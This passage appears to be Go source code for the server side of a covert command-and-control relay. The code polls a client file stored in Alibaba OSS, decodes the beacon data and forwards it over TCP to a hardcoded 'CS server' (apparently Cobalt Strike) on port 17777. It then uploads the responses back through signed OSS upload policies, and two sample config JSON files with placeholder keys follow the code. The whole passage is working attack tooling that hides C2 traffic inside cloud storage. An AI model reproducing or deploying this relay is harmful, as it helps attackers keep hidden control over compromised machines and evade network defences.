	err := json.Unmarshal(jsonData, &uploadData)
	if err != nil {
		return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
	}

	// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回
	log.Println("parseUploadToken.UploadData",uploadData)
	return uploadData, nil
}





func getProgramDirectory() (string, error) {
	execPath, err := os.Executable()
	if err != nil {
		return "", err
	}
	return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
	programDir, err := getProgramDirectory()
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
	}

	filename = filepath.Base(filename)
	log.Println("filename=>",filename)
	configFilePath := filepath.Join(programDir, filename)
	log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)
	data, err := ioutil.ReadFile(configFilePath)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
	}

	uploadData, err := parseUploadToken(data)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
	}

	return uploadData, nil
}


func Send(name string, filename string, content string) {
	UploadData, err := readUploadTokenFromFile(name)
	if err != nil {
		fmt.Println("Error reading or parsing JSON from file:", err)
		return
	}

	_, err = uploadFile(UploadData, filename, content)
	
	if err != nil {
		log.Println("文件上传失败：", err)
		return
	}
}





func checkURLStatus(url string) bool {
	resp, err := http.Head(url)
	if err != nil {
		fmt.Printf("检查 URL 失败: %v\n", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == http.StatusOK {
		return true
	}
	fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
	return false
}

func waitForNextHalfHour() {
	now := time.Now()
	next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
	duration := next.Sub(now)

	fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
	time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
	resp, err := http.Get(url)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	out, err := os.Create(filepath)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, resp.Body)
	return err
}

func safeDownloadFile(filepath string, url string) error {
	tempFilepath := filepath + ".tmp"

	err := downloadFile(tempFilepath, url)
	if err != nil {
		return fmt.Errorf("下载失败: %w", err)
	}

	err = os.Rename(tempFilepath, filepath)
	if err != nil {
		return fmt.Errorf("替换文件失败: %w", err)
	}

	return nil
}

func timedownload() {
	execPath, err := os.Executable()
	if err != nil {
		fmt.Printf("获取程序路径失败: %v\n", err)
		return
	}
	execDir := filepath.Dir(execPath)

	filepath1 := filepath.Join(execDir, "Send-Client.json")
	filepath2 := filepath.Join(execDir, "Send-Server.json")
	
	url1 := "http://x.x.x.x:x/Send-Client.json"
	url2 := "http://x.x.x.x:x/Send-Server.json"
	
	fmt.Printf("检查文件1：%s\n", url1)
	if checkURLStatus(url1) {
		err = safeDownloadFile(filepath1, url1)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用，跳过下载：", url1)
	}

	fmt.Printf("检查文件2：%s\n", url2)
	if checkURLStatus(url2) {
		err = safeDownloadFile(filepath2, url2)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用，跳过下载：", url2)
	}

/*	for {
		waitForNextHalfHour()

		fmt.Printf("检查文件1：%s\n", url1)
		if checkURLStatus(url1) {
			err = safeDownloadFile(filepath1, url1)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用，跳过下载：", url1)
		}

		fmt.Printf("检查文件2：%s\n", url2)
		if checkURLStatus(url2) {
			err = safeDownloadFile(filepath2, url2)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用，跳过下载：", url2)
		}
	}*/

}

var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列

func processQueue() {
	for task := range taskQueue {
		log.Println("[+]", "处理队列中的任务:", task)
		processServerWithLock(task) // 有序地处理任务
	}
}

func processServerWithLock(URLname string) {

	// 从name中提取UUID
	log.Println("[+]", "发现客户端")

	// 将Base64编码的数据解码
	sDec, err := base64.StdEncoding.DecodeString(string(URLname))
	if err != nil {
		log.Println("[-]", sDec, "Base64解码失败:", err)
		return
	}

	// 连接CS服务器
	conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址
	if err != nil {
		log.Println("[-]", conn, "连接CS服务器失败:", err)
		return
	}
	defer conn.Close()

	// 发送解码后的数据到CS服务器
	_, err = conn.Write(sDec)
	if err != nil {
		log.Println("[-]", "无法向CS服务器发送数据包:", err)
		return
	}

	// 设置读超时
	_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
	var buffer bytes.Buffer

	// 从CS服务器读取响应数据
	for {
		var buf [1]byte
		n, err := conn.Read(buf[:])
		if err != nil {
			log.Println("[-]", "从CS服务器读取数据失败:", err)
			break
		}
		buffer.Write(buf[:n])

		// 检查是否接收完毕
		if strings.Contains(buffer.String(), "\r\n\r\n") {
			// 处理Content-Length
			if strings.Contains(buffer.String(), "Content-Length") {
				ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
				log.Println("[+]", "数据包长度为：", strings.TrimSpace(ContentLength))

				// 继续读取指定长度的数据
				if strings.TrimSpace(ContentLength) != "0" {
					intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
					if err != nil {
						log.Println("[-]", "Content-Length转换失败:", err)
						break
					}

					for i := 1; i <= intContentLength; i++ {
						var b [1]byte
						n, err = conn.Read(b[:])
						if err != nil {
							log.Println("[-]", "从CS服务器读取数据失败:", err)
							break
						}
						buffer.Write(b[:n])
					}
				}
			}

			// 处理Chunked传输
			if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
				for {
					var b [1]byte
					n, err = conn.Read(b[:])
					if err != nil {
						log.Println("[-]", "读取Chunked数据失败:", err)
						break
					}
					buffer.Write(b[:n])
					if strings.Contains(buffer.String(), "0\r\n\r\n") {
						break
					}
				}
			}

			log.Println("[+]", "从CS服务器接受完毕")
			break
		}
	}

	// 将响应数据重新编码为Base64
	b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())

	Send("Send-Server.json", "server.zip", b64)
	log.Println("[+]", "服务器数据发送完毕")
	
	log.Println("文件上传完成，暂停30秒...")
	time.Sleep(30 * time.Second) // Pause for 30 seconds  


}


func checkFileChanges(currentContent string, server_address string) {
	// 加锁，防止与定时任务冲突
	log.Println("[+]", "尝试加锁以检测文件变化")
/*	fileLock.Lock()
	log.Println("[+]", "文件锁定成功，开始检查文件变化")
		defer func() {
		log.Println("[+]", "解锁文件")
		fileLock.Unlock()
	}()*/
		log.Println(currentContent)
		log.Println(previousContent)
//	if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {

		log.Println("[+]", "文件内容不一致，开始处理")
		previousContent = currentContent      // 更新存储的文件内容
		log.Println("currentContent:",currentContent)
		log.Println("previousContent:",previousContent)
		processServerWithLock(currentContent) // 处理客户端文件数据
/*	} else {
		log.Println("[+]", "文件内容一致，无需处理")
		
	}*/
}

func startServer(server_address string) {

	log.Println("[+]", "服务端启动成功")
	

	for {
		
		time.Sleep(6 * time.Second)

		// 获取 Send-Client.json 中的 URL
		clientURL,err := Getfile("Send-Client.json")
		
		log.Println("clientURL=>",clientURL)
		currentContent, err := fetchFileContent(clientURL)
		log.Println("currentContent=>",currentContent)
		if err != nil {
			log.Println("[-]", "获取客户端文件失败:", err)
			return
		}
		println("大小为%s", len(currentContent))

		checkFileChanges(currentContent, server_address)
		

	}
}


func main() {

	go timedownload()
	server_address := "x.x.x.x:17777"

	startServer(server_address)


}

涉及json文件
Send-Client.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

Send-Server.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}